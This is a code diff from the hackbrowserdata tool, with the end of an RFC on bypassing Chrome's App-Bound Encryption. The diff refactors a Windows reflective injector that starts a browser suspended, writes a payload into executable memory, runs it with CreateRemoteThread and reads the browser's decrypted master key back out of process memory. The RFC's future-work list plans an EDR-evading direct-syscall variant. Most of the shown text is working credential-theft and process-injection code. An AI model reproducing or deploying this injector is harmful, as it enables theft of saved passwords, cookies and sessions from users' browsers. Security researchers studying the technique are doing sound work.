- ARM64 Windows unsupported. Payload is `x86_64-windows-gnu` only. xaitax ships ARM64; we'd need parallel payload builds + runtime arch dispatch.
- Chrome v20 domain-binding prefix: injector-old strips 32 bytes at the start of v20 plaintext. Not observed on Chrome 147 sandbox outputs; left unimplemented. Re-add if a future test surfaces the prefix.
- Running-browser handling: if the user has the target browser open we spawn a second instance. No observed conflict, but some vendors (Opera GX) serialize elevation service; an opt-in `--kill-running` is future work.
**Future** (ordered by value):
1. Runtime CLSID/IID lookup from `elevation_service_idl.tlb` (no rebuild per fork rotation)
2. More forks via §11 (Opera, Vivaldi, Yandex, Arc)
3. x86 payload variant (for legacy 32-bit Chrome installs)
4. Optional `--kill-running` flag
5. EDR-hardened `injector.Strategy` variant (direct syscalls)
6. Release signing (cosign / SBOM) + reproducible-build CI verification
7. ARM64 Windows support
## 13. Related RFCs
| RFC | Relation |
|---|---|
| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `ChainRetriever` taxonomy; Windows now uses `[ABERetriever, DPAPIRetriever]` |
| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |
+49
View File
@@ -0,0 +1,49 @@
//go:build windows
package injector
import (
"fmt"
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
)
// abeErrNames maps the payload's ABE_ERR_* category byte (written into
// the scratch region at extract_err_code) to a human-readable cause.
var abeErrNames = map[byte]string{
bootstrap.ErrBasename: "basename extraction failed",
bootstrap.ErrBrowserUnknown: "browser not in com_iid table",
bootstrap.ErrEnvMissing: "HBD_ABE_ENC_B64 env var missing or oversized",
bootstrap.ErrBase64: "base64 decode failed",
bootstrap.ErrBstrAlloc: "SysAllocStringByteLen failed",
bootstrap.ErrComCreate: "CoCreateInstance failed (no usable IElevator)",
bootstrap.ErrDecryptData: "IElevator.DecryptData failed",
bootstrap.ErrKeyLen: "key length mismatch (want 32)",
}
// hresultNames covers HRESULT values we've actually observed or expect to
// observe on failure paths. Unknown values fall back to hex.
var hresultNames = map[uint32]string{
0x80004002: "E_NOINTERFACE",
0x80010108: "RPC_E_DISCONNECTED",
0x80040154: "REGDB_E_CLASSNOTREG",
0x80070005: "E_ACCESSDENIED",
0x800706BA: "RPC_S_SERVER_UNAVAILABLE",
}
// formatABEError renders a scratchResult into a diagnostic string used when
// the payload did not publish a key. The format is stable for greppability:
//
// err=<category>, hr=<name> (0xXXXXXXXX), comErr=0xXXXXXXXX, marker=0xXX
func formatABEError(r scratchResult) string {
errName := fmt.Sprintf("0x%02x", r.ErrCode)
if n, ok := abeErrNames[r.ErrCode]; ok {
errName = n
}
hrName := fmt.Sprintf("0x%08x", r.HResult)
if n, ok := hresultNames[r.HResult]; ok {
hrName = fmt.Sprintf("%s (0x%08x)", n, r.HResult)
}
return fmt.Sprintf("err=%s, hr=%s, comErr=0x%x, marker=0x%02x",
errName, hrName, r.ComErr, r.Marker)
}
+79
View File
@@ -0,0 +1,79 @@
//go:build windows
package injector
import (
"strings"
"testing"
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
)
func TestFormatABEError(t *testing.T) {
cases := []struct {
name string
result scratchResult
wants []string
}{
{
name: "known err code with known HRESULT",
result: scratchResult{
Marker: 0xff,
Status: 0x00,
ErrCode: bootstrap.ErrDecryptData,
HResult: 0x80070005,
ComErr: 0,
},
wants: []string{
"err=IElevator.DecryptData failed",
"hr=E_ACCESSDENIED (0x80070005)",
"comErr=0x0",
"marker=0xff",
},
},
{
name: "known err code, unknown HRESULT falls back to hex",
result: scratchResult{
Marker: 0xff,
Status: 0x00,
ErrCode: bootstrap.ErrBrowserUnknown,
HResult: 0x12345678,
},
wants: []string{
"err=browser not in com_iid table",
"hr=0x12345678",
},
},
{
name: "unknown err code falls back to hex",
result: scratchResult{
ErrCode: 0xaa,
HResult: 0,
},
wants: []string{
"err=0xaa",
"hr=0x00000000",
},
},
{
name: "err code zero (ok) also renders",
result: scratchResult{
ErrCode: bootstrap.ErrOk,
},
wants: []string{
"err=0x00",
},
},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
got := formatABEError(tc.result)
for _, want := range tc.wants {
if !strings.Contains(got, want) {
t.Errorf("formatABEError missing %q\n got: %s", want, got)
}
}
})
}
}
+90 -98
View File
@@ -8,9 +8,10 @@ import (
"os"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
)
type Reflective struct {
@@ -22,13 +23,6 @@ const (
// 30s covers GoogleChromeElevationService cold-start on first call after boot.
defaultWait = 30 * time.Second
terminateWait = 2 * time.Second
// Keep in sync with bootstrap.h.
bootstrapMarkerOffset = 0x28
bootstrapKeyStatusOffset = 0x29
bootstrapKeyOffset = 0x40
bootstrapKeyLen = 32
bootstrapKeyStatusReady = 0x01
)
func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
@@ -83,18 +77,35 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
}
// Read output before TerminateProcess — after kill the memory is gone.
status, key := readScratch(pi.Process, remoteBase)
result, readErr := readScratch(pi.Process, remoteBase)
_ = windows.TerminateProcess(pi.Process, 0)
_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
terminated = true
if status != bootstrapKeyStatusReady {
marker := readMarker(pi.Process, remoteBase)
return nil, fmt.Errorf("injector: payload did not publish key (status=0x%02x, marker=0x%02x)",
status, marker)
if readErr != nil {
return nil, fmt.Errorf("injector: %w", readErr)
}
return key, nil
if result.Status != bootstrap.KeyStatusReady {
return nil, fmt.Errorf("injector: payload did not publish key (%s)", formatABEError(result))
}
if len(result.Key) != bootstrap.KeyLen {
return nil, fmt.Errorf("injector: payload signaled ready but key length is %d (want %d)",
len(result.Key), bootstrap.KeyLen)
}
return result.Key, nil
}
// scratchResult is the structured view of the 12-byte diagnostic header
// (marker..com_err) plus the optional 32-byte master key the payload
// publishes back into the remote process's scratch region.
type scratchResult struct {
Marker byte
Status byte
ErrCode byte
HResult uint32
ComErr uint32
Key []byte
}
func (r *Reflective) wait() time.Duration {
@@ -138,29 +149,19 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
}
func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
procVirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
remoteBase, _, callErr := procVirtualAllocEx.Call(
remoteBase, err := callBoolErr(procVirtualAllocEx,
uintptr(proc), 0,
uintptr(len(payload)),
uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
uintptr(windows.PAGE_EXECUTE_READWRITE),
)
if remoteBase == 0 {
return 0, fmt.Errorf("injector: VirtualAllocEx: %w", callErr)
if err != nil {
return 0, fmt.Errorf("injector: %w", err)
}
var written uintptr
r1, _, callErr := procWriteProcessMemory.Call(
uintptr(proc), remoteBase,
uintptr(unsafe.Pointer(&payload[0])),
uintptr(len(payload)),
uintptr(unsafe.Pointer(&written)),
)
if r1 == 0 {
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", callErr)
if err := windows.WriteProcessMemory(proc, remoteBase, &payload[0], uintptr(len(payload)), &written); err != nil {
return 0, fmt.Errorf("injector: WriteProcessMemory: %w", err)
}
if int(written) != len(payload) {
return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
@@ -169,74 +170,68 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
}
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
procCreateRemoteThread := kernel32.NewProc("CreateRemoteThread")
entry := remoteBase + uintptr(loaderRVA)
hThread, _, callErr := procCreateRemoteThread.Call(
uintptr(proc),
0, 0, entry, 0, 0, 0,
hThread, err := callBoolErr(procCreateRemoteThread,
uintptr(proc), 0, 0, entry, 0, 0, 0,
)
if hThread == 0 {
return fmt.Errorf("injector: CreateRemoteThread: %w", callErr)
if err != nil {
return fmt.Errorf("injector: %w", err)
}
defer windows.CloseHandle(windows.Handle(hThread))
_, _ = windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
return nil
state, err := windows.WaitForSingleObject(windows.Handle(hThread), uint32(wait/time.Millisecond))
if err != nil {
return fmt.Errorf("injector: WaitForSingleObject: %w", err)
}
switch state {
case windows.WAIT_OBJECT_0:
return nil
case uint32(windows.WAIT_TIMEOUT):
return fmt.Errorf("injector: remote Bootstrap thread timed out after %s", wait)
default:
return fmt.Errorf("injector: remote Bootstrap thread wait returned 0x%x", state)
}
}
func readScratch(proc windows.Handle, remoteBase uintptr) (status byte, key []byte) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var sb [1]byte
// readScratch pulls the payload's diagnostic header and (on success) the
// master key out of the target process's scratch region. A non-nil error
// means our own ReadProcessMemory call failed (distinct from the payload
// reporting a structured failure via result.Status/ErrCode/HResult).
func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) {
// hdr covers offsets 0x28..0x33: marker, status, extract_err_code,
// _reserved, hresult (LE u32), com_err (LE u32).
var hdr [12]byte
var n uintptr
r, _, _ := procReadProcessMemory.Call(
uintptr(proc),
remoteBase+uintptr(bootstrapKeyStatusOffset),
uintptr(unsafe.Pointer(&sb[0])),
1,
uintptr(unsafe.Pointer(&n)),
)
if r == 0 {
return 0, nil
if err := windows.ReadProcessMemory(proc,
remoteBase+uintptr(bootstrap.MarkerOffset),
&hdr[0], uintptr(len(hdr)), &n); err != nil {
return scratchResult{}, fmt.Errorf("read scratch header: %w", err)
}
status = sb[0]
if status != bootstrapKeyStatusReady {
return status, nil
if int(n) != len(hdr) {
return scratchResult{}, fmt.Errorf("read scratch header: short read %d/%d", n, len(hdr))
}
result := scratchResult{
Marker: hdr[0],
Status: hdr[1],
ErrCode: hdr[2],
HResult: binary.LittleEndian.Uint32(hdr[4:8]),
ComErr: binary.LittleEndian.Uint32(hdr[8:12]),
}
if result.Status != bootstrap.KeyStatusReady {
return result, nil
}
buf := make([]byte, bootstrapKeyLen)
r, _, _ = procReadProcessMemory.Call(
uintptr(proc),
remoteBase+uintptr(bootstrapKeyOffset),
uintptr(unsafe.Pointer(&buf[0])),
uintptr(bootstrapKeyLen),
uintptr(unsafe.Pointer(&n)),
)
if r == 0 || int(n) != bootstrapKeyLen {
return status, nil
buf := make([]byte, bootstrap.KeyLen)
if err := windows.ReadProcessMemory(proc,
remoteBase+uintptr(bootstrap.KeyOffset),
&buf[0], uintptr(bootstrap.KeyLen), &n); err != nil {
return result, fmt.Errorf("read master key from scratch: %w", err)
}
return status, buf
}
func readMarker(proc windows.Handle, remoteBase uintptr) byte {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
procReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var b [1]byte
var n uintptr
r, _, _ := procReadProcessMemory.Call(
uintptr(proc),
remoteBase+uintptr(bootstrapMarkerOffset),
uintptr(unsafe.Pointer(&b[0])),
1,
uintptr(unsafe.Pointer(&n)),
)
if r == 0 {
return 0
if int(n) != bootstrap.KeyLen {
return result, fmt.Errorf("read master key from scratch: short read %d/%d", n, bootstrap.KeyLen)
}
return b[0]
result.Key = buf
return result, nil
}
// patchPreresolvedImports writes five pre-resolved Win32 function pointers
@@ -244,18 +239,15 @@ func readMarker(proc windows.Handle, remoteBase uintptr) byte {
// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll
// share the same virtual address across processes in one boot session).
func patchPreresolvedImports(payload []byte) ([]byte, error) {
if len(payload) < 0x68 {
if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
pLoadLibraryA := kernel32.NewProc("LoadLibraryA").Addr()
pGetProcAddress := kernel32.NewProc("GetProcAddress").Addr()
pVirtualAlloc := kernel32.NewProc("VirtualAlloc").Addr()
pVirtualProtect := kernel32.NewProc("VirtualProtect").Addr()
pNtFlushIC := ntdll.NewProc("NtFlushInstructionCache").Addr()
pLoadLibraryA := procLoadLibraryA.Addr()
pGetProcAddress := procGetProcAddress.Addr()
pVirtualAlloc := procVirtualAlloc.Addr()
pVirtualProtect := procVirtualProtect.Addr()
pNtFlushIC := procNtFlushIC.Addr()
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
pVirtualProtect == 0 || pNtFlushIC == 0 {
@@ -268,11 +260,11 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
writeAddr := func(off int, addr uintptr) {
binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
}
writeAddr(0x40, pLoadLibraryA)
writeAddr(0x48, pGetProcAddress)
writeAddr(0x50, pVirtualAlloc)
writeAddr(0x58, pVirtualProtect)
writeAddr(0x60, pNtFlushIC)
writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA)
writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress)
writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc)
writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect)
writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC)
return patched, nil
}
+52
View File
@@ -0,0 +1,52 @@
//go:build windows
package injector
import (
"errors"
"fmt"
"syscall"
"golang.org/x/sys/windows"
)
// Package-level lazy DLL/Proc handles. Consolidating them here avoids the
// NewLazySystemDLL("kernel32.dll") boilerplate spread across every helper in
// reflective_windows.go, and gives us a single place to extend when a new
// Win32 API is needed. Matches the pattern used in filemanager/copy_windows.go.
var (
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
ntdll = windows.NewLazySystemDLL("ntdll.dll")
// Call-style procs: Win32 APIs that `golang.org/x/sys/windows` does NOT
// provide typed wrappers for. We invoke them via LazyProc.Call.
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
// Address-style procs: consumed only via .Addr() by patchPreresolvedImports
// to patch raw function pointers into the payload's DOS stub. We never Call
// these from our own process.
procLoadLibraryA = kernel32.NewProc("LoadLibraryA")
procGetProcAddress = kernel32.NewProc("GetProcAddress")
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
procVirtualProtect = kernel32.NewProc("VirtualProtect")
procNtFlushIC = ntdll.NewProc("NtFlushInstructionCache")
)
// callBoolErr wraps the common "r1 == 0 means failure" Win32 convention.
// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure,
// so we distinguish the "no-errno" case explicitly to avoid emitting misleading
// "operation completed successfully" messages. We use errors.As rather than a
// type assertion so the check stays correct if x/sys/windows ever wraps the
// underlying errno.
func callBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) {
r, _, callErr := p.Call(args...)
if r == 0 {
var errno syscall.Errno
if errors.As(callErr, &errno) && errno == 0 {
return 0, fmt.Errorf("%s: failed (no errno)", p.Name)
}
return 0, fmt.Errorf("%s: %w", p.Name, callErr)
}
return r, nil
}